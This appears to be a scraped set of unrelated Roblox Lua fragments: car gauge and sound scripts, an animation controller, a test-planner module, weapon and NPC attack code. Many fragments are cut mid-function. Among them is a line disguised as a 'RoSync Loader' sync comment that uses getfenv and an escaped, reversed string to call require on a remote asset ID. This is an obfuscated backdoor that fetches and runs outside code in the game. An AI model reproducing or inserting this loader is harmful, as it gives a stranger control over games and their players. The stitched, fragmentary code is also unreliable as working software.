self.timeKeepingConnection:Disconnect()
self.timeKeepingConnection = nil
end
end
function Clock:StartTime()
-- TODO: use luke's coroutine wrap because of silencable errors
coroutine.wrap(function()
self:_keepTrackOfTime()
end)()
end
function Clock:ResetTime()
self:_stopTrackingTime()
self.timePosition.Value = startingTimePositionValue
self.initialTimePosition = startingTimePositionValue
end
function Clock:SetTime(timePositionValue)
self:_stopTrackingTime()
self.timePosition.Value = timePositionValue
self.initialTimePosition = timePositionValue
end
return Clock
|
--// Modules |
local L_9_ = require(L_5_:WaitForChild('Config'))
|
--Automatic Gauge Scaling |
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult)
v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)
end
end
for i=0,revEnd*2 do
local ln = gauges.ln:clone()
ln.Parent = gauges.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = gauges.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",gauges.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = gauges.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,12 do
local bln = gauges.bln:clone()
bln.Parent = blns
bln.Rotation = 45+270*(i/12)
if i%2==0 then
bln.Frame.Size = UDim2.new(0,2,0,7)
bln.Frame.Position = UDim2.new(0,-1,0,40)
else
bln.Frame.Size = UDim2.new(0,3,0,5)
end
bln.Num:Destroy()
bln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",gauges.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = gauges.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
isOn.Changed:connect(function()
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
values.RPM.Changed:connect(function()
gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000))
end)
local _TCount = 0
if _Tune.Aspiration ~= "Natural" and _Tune.Engine then
if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
values.Boost.Changed:connect(function()
local boost = math.floor(values.Boost.Value)
if _Tune.Aspiration~="Super" then boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) end
gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount))
gauges.PSI.Text = tostring(math.floor(boost).." PSI")
end)
else
gauges.Boost:Destroy()
end
values.Gear.Changed:connect(function()
local gearText = values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
gauges.Gear.Text = gearText
end)
values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCS.Value then
gauges.TCS.TextColor3 = Color3.new(1,170/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.TCSActive.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = true
gauges.TCS.TextColor3 = Color3.new(1,0,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.TCS.Visible = false
end
end)
values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = false
end
end)
gauges.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
end
else
if gauges.TCS.Visible then
gauges.TCS.Visible = false
end
end
end)
values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABS.Value then
gauges.ABS.TextColor3 = Color3.new(1,170/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.ABSActive.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = true
gauges.ABS.TextColor3 = Color3.new(1,0,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.ABS.Visible = false
end
end)
values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = false
end
end)
gauges.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
end
else
if gauges.ABS.Visible then
gauges.ABS.Visible = false
end
end
end)
function PBrake()
gauges.PBrake.Visible = values.PBrake.Value
end
values.PBrake.Changed:connect(PBrake)
function Gear()
if values.TransmissionMode.Value == "Auto" then
gauges.TMode.Text = "A/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif values.TransmissionMode.Value == "Semi" then
gauges.TMode.Text = "S/T"
gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
gauges.TMode.Text = "M/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
values.TransmissionMode.Changed:connect(Gear)
values.Velocity.Changed:connect(function(property)
gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
gauges.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(gauges.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
-- Get remote |
local updateWalkspeedRemote = replicatedStorage:WaitForChild("UpdateWalkspeed")
|
-- functions |
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale")
if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then
return bodyHeightScale.Value
end
end
return 1
end
local smallButNotZero = 0.0001
function setRunSpeed(speed)
if speed < 0.33 then
currentAnimTrack:AdjustWeight(1.0)
runAnimTrack:AdjustWeight(smallButNotZero)
elseif speed < 0.66 then
local weight = ((speed - 0.33) / 0.33)
currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
runAnimTrack:AdjustWeight(weight + smallButNotZero)
else
currentAnimTrack:AdjustWeight(smallButNotZero)
runAnimTrack:AdjustWeight(1.0)
end
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
runAnimTrack:AdjustSpeed(speedScaled / heightScale)
currentAnimTrack:AdjustSpeed(speedScaled / heightScale)
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
if currentAnim == "walk" then
setRunSpeed(speed)
else
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
|
--[[ Constants ]] | --
local SHIFT_LOCK_OFF = 'rbxasset://textures/ui/mouseLock_off.png'
local SHIFT_LOCK_ON = 'rbxasset://textures/ui/mouseLock_on.png'
local SHIFT_LOCK_CURSOR = 'rbxasset://textures/MouseLockedCursor.png'
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
ZoneModelName = "hate soul" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
------------------------------------------------------------------------------------------------------------------------- |
upgradeStuff = model:clone()
wait(1)
model:remove()
owner = script.Parent.Parent.Parent.OwnerName
local ting = 0
function onTouched(hit)
if ting == 0 then
ting = 1
check = hit.Parent:FindFirstChild("Humanoid")
if check ~= nil then
if hit.Parent.Name == owner.Value then
local user = game.Players:GetPlayerFromCharacter(hit.Parent)
local stats = user:findFirstChild("leaderstats")
if stats ~= nil then
local cash = stats:findFirstChild("Cash")
if cash.Value > (Upgradecost-1) then
cash.Value = cash.Value - Upgradecost
upgradeStuff.Parent = script.Parent.Parent.Parent
script.Parent.Parent:remove()
end
end
end
end
ting = 0
end
end
script.Parent.Touched:connect(onTouched)
|
-- Codes used to redeem for in-game badges |
GameSettings.codes = {
"testcode"
}
|
--[[Manage Plugins]] |
script.Parent["A-Chassis Interface"].Car.Value=car
for i,v in pairs(script.Parent.Plugins:GetChildren()) do
for _,a in pairs(v:GetChildren()) do
if a:IsA("RemoteEvent") or a:IsA("RemoteFunction") then
a.Parent=car
for _,b in pairs(a:GetChildren()) do
if b:IsA("Script") then b.Disabled=false end
end
end
end
v.Parent = script.Parent["A-Chassis Interface"]
end
script.Parent.Plugins:Destroy()
|
--[[ Last synced 7/3/2022 08:16 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt=0
local redline=0
script:WaitForChild("Rev")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
else
throt = math.min(1,throt+.1)
end
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume)
else
car.DriveSeat.Rev.Pitch = Pitch
end
end
|
--[[Rear]] | --
Tune.RSusDamping = 50 -- Dampening
Tune.RSusStiffness = 1000000 -- Stiffness
Tune.RSusLength = 0 -- Suspension length (in studs)
Tune.RPreComp = 0 -- Vehicle height, relative to your suspension settings
Tune.RExtLimit = 0 -- Max Extension Travel (in studs)
Tune.RCompLimit = 0 -- Max Compression Travel (in studs)
Tune.RBaseOffset = { -- Suspension base point
--[[Lateral]] 0 , -- positive = outward
--[[Vertical]] -0.1 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
Tune.RBricksVisible = false -- Makes the front suspension bricks visible (Debug)
Tune.RConstsVisible = false -- Makes the front suspension constraints visible (Debug)
|
-- Used to sanitize user-supplied functions |
local function AssertTypes(param, ...)
local allowedTypes = {}
local typeString = ''
for _, typeName in pairs({...}) do
allowedTypes[typeName] = true
typeString = typeString .. (typeString == '' and '' or ' or ') .. typeName
end
local theType = type(param)
assert(allowedTypes[theType], typeString .. " type expected, got: " .. theType)
end
|
--------------MADE BY Radioaktiivinen
--------------Should be configurable with some crappy configuration tool of roblox >_> |
local seat=script.Parent
local data=seat.Configuration
local owner=nil
local running=false
local x=0
local y=0
seat.ChildAdded:connect(
function(w)
if w.className=="Weld" and w.Name=="SeatWeld" then
local char=w.Part1.Parent
local player=game.Players:FindFirstChild(char.Name)
if player~=nil then
owner=player
seat.ChildRemoved:connect(
function(w2)
if w2==w then
owner=nil
end
end
)
seat.BodyVelocity.maxForce=Vector3.new(1,1,1)*data.MaxForce.Value
seat.BodyGyro.maxTorque=Vector3.new(1,1,1)*50000
local spd=0
local gui=seat.ScreenGui:clone()
gui.Parent=player.PlayerGui
gui.Frame.Faster.MouseButton1Click:connect(
function()
spd=math.min(spd+data.MaxSpeed.Value/20,data.MaxSpeed.Value)
gui.Frame.Speed.Text=math.floor(spd)
end
)
gui.Frame.Slower.MouseButton1Click:connect(
function()
spd=math.max(spd-data.MaxSpeed.Value/20,0)
gui.Frame.Speed.Text=math.floor(spd)
end
)
while owner==player do
seat.BodyVelocity.velocity=seat.CFrame.lookVector*spd
wait()
end
gui:remove()
seat.BodyVelocity.velocity=Vector3.new(0,0,0)
seat.BodyVelocity.maxForce=Vector3.new(0,0,0)
seat.BodyGyro.maxTorque=Vector3.new(0,0,0)
end
end
end
)
seat.Changed:connect(
function()
if not running then
local cur=seat.Steer
local cur2=seat.Throttle
running=true
while (cur~=0 or cur2~=0) do
y=y-seat.Steer*data.TurnSpeed.Value
x=x-seat.Throttle*data.TurnSpeed.Value
seat.BodyGyro.cframe=CFrame.new(0,0,0)*CFrame.Angles(0,math.rad(y),0)*CFrame.Angles(math.rad(x),0,0)
wait()
end
running=false
end
end
)
|
--[[**
ensures Roblox RBXScriptSignal type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]] |
t.RBXScriptSignal = primitive("RBXScriptSignal")
|
--[[
Represents a tree of tests that have been loaded but not necessarily
executed yet.
TestPlan objects are produced by TestPlanner.
]] |
local TestEnum = require(script.Parent.TestEnum)
local Expectation = require(script.Parent.Expectation)
local function newEnvironment(currentNode, extraEnvironment)
local env = {}
if extraEnvironment then
if type(extraEnvironment) ~= "table" then
error(("Bad argument #2 to newEnvironment. Expected table, got %s"):format(
typeof(extraEnvironment)), 2)
end
for key, value in pairs(extraEnvironment) do
env[key] = value
end
end
local function addChild(phrase, callback, nodeType, nodeModifier)
local node = currentNode:addChild(phrase, nodeType, nodeModifier)
node.callback = callback
if nodeType == TestEnum.NodeType.Describe then
node:expand()
end
return node
end
function env.describeFOCUS(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Focus)
end
function env.describeSKIP(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Skip)
end
function env.describe(phrase, callback, nodeModifier)
addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.None)
end
function env.itFOCUS(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Focus)
end
function env.itSKIP(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip)
end
function env.itFIXME(phrase, callback)
local node = addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip)
warn("FIXME: broken test", node:getFullName())
end
function env.it(phrase, callback, nodeModifier)
addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.None)
end
-- Incrementing counter used to ensure that beforeAll, afterAll, beforeEach, afterEach have unique phrases
local lifecyclePhaseId = 0
local lifecycleHooks = {
[TestEnum.NodeType.BeforeAll] = "beforeAll",
[TestEnum.NodeType.AfterAll] = "afterAll",
[TestEnum.NodeType.BeforeEach] = "beforeEach",
[TestEnum.NodeType.AfterEach] = "afterEach"
}
for nodeType, name in pairs(lifecycleHooks) do
env[name] = function(callback)
addChild(name .. "_" .. tostring(lifecyclePhaseId), callback, nodeType, TestEnum.NodeModifier.None)
lifecyclePhaseId = lifecyclePhaseId + 1
end
end
function env.FIXME(optionalMessage)
warn("FIXME: broken test", currentNode:getFullName(), optionalMessage or "")
currentNode.modifier = TestEnum.NodeModifier.Skip
end
function env.FOCUS()
currentNode.modifier = TestEnum.NodeModifier.Focus
end
function env.SKIP()
currentNode.modifier = TestEnum.NodeModifier.Skip
end
--[[
This function is deprecated. Calling it is a no-op beyond generating a
warning.
]]
function env.HACK_NO_XPCALL()
warn("HACK_NO_XPCALL is deprecated. It is now safe to yield in an " ..
"xpcall, so this is no longer necessary. It can be safely deleted.")
end
env.fit = env.itFOCUS
env.xit = env.itSKIP
env.fdescribe = env.describeFOCUS
env.xdescribe = env.describeSKIP
env.expect = setmetatable({
extend = function(...)
error("Cannot call \"expect.extend\" from within a \"describe\" node.")
end,
}, {
__call = function(_self, ...)
return Expectation.new(...)
end,
})
return env
end
local TestNode = {}
TestNode.__index = TestNode
|
--Function For Making New Ray Bricks |
function makeRay(cframe, size)
local p = Instance.new("Part")
p.Name = "RayPart"
p.BrickColor = BrickColor.new("New Yeller")
p.Material = "Neon"
p.Transparency = 0.5
p.Anchored = true
p.CanCollide = false
p.TopSurface = Enum.SurfaceType.Smooth
p.BottomSurface = Enum.SurfaceType.Smooth
p.formFactor = Enum.FormFactor.Custom
p.CFrame = cframe
p.Size = size
p.Parent = m
ignoreList[#ignoreList+1] = p
end
round = Instance.new("Part")
round.Name = "RayPart"
round.Material = "Neon"
round.Transparency = 0.5
round.Anchored = true
round.CanCollide = false
round.TopSurface = Enum.SurfaceType.Smooth
round.BottomSurface = Enum.SurfaceType.Smooth
round.formFactor = Enum.FormFactor.Custom
round.BrickColor = BrickColor.new("New Yeller")
yOffset = -0.2
|
-- ROBLOX deviation: used to communicate with the TestEZ test runner |
local JEST_TEST_CONTEXT = "__JEST_TEST_CONTEXT__"
local function getCoreScriptSyncService()
local success, result = pcall(function()
return game:GetService("CoreScriptSyncService")
end)
return success and result or nil
end
local CoreScriptSyncService = nil
local LuauPolyfill = require(Packages.LuauPolyfill)
local Array = LuauPolyfill.Array
local Error = LuauPolyfill.Error
type Error = LuauPolyfill.Error
local Object = LuauPolyfill.Object
local Set = LuauPolyfill.Set
|
-- Unequip logic here |
function OnUnequipped()
LeftButtonDown = false
Reloading = false
MyCharacter = nil
MyHumanoid = nil
MyTorso = nil
MyPlayer = nil
MyMouse = nil
if OnFireConnection then
OnFireConnection:disconnect()
end
if OnReloadConnection then
OnReloadConnection:disconnect()
end
if FlashHolder then
FlashHolder = nil
end
if WeaponGui then
WeaponGui.Parent = nil
WeaponGui = nil
end
if RecoilTrack then
RecoilTrack:Stop()
end
end
local function SetReticleColor(color)
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
if line:IsA('Frame') then
line.BorderColor3 = color
end
end
end
end
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
while true do
wait(0.033)
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then
WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
SetReticleColor(NeutralReticleColor)
local target = MyMouse.Target
if target and target.Parent then
local player = PlayersService:GetPlayerFromCharacter(target.Parent)
if player then
if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
SetReticleColor(EnemyReticleColor)
else
SetReticleColor(FriendlyReticleColor)
end
end
end
end
if Spread and not IsShooting then
local currTime = time()
if currTime - LastSpreadUpdate > FireRate * 2 then
LastSpreadUpdate = currTime
Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
UpdateCrosshair(Spread, MyMouse)
end
end
end
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]] | --
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=100;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("Torso");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(30);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
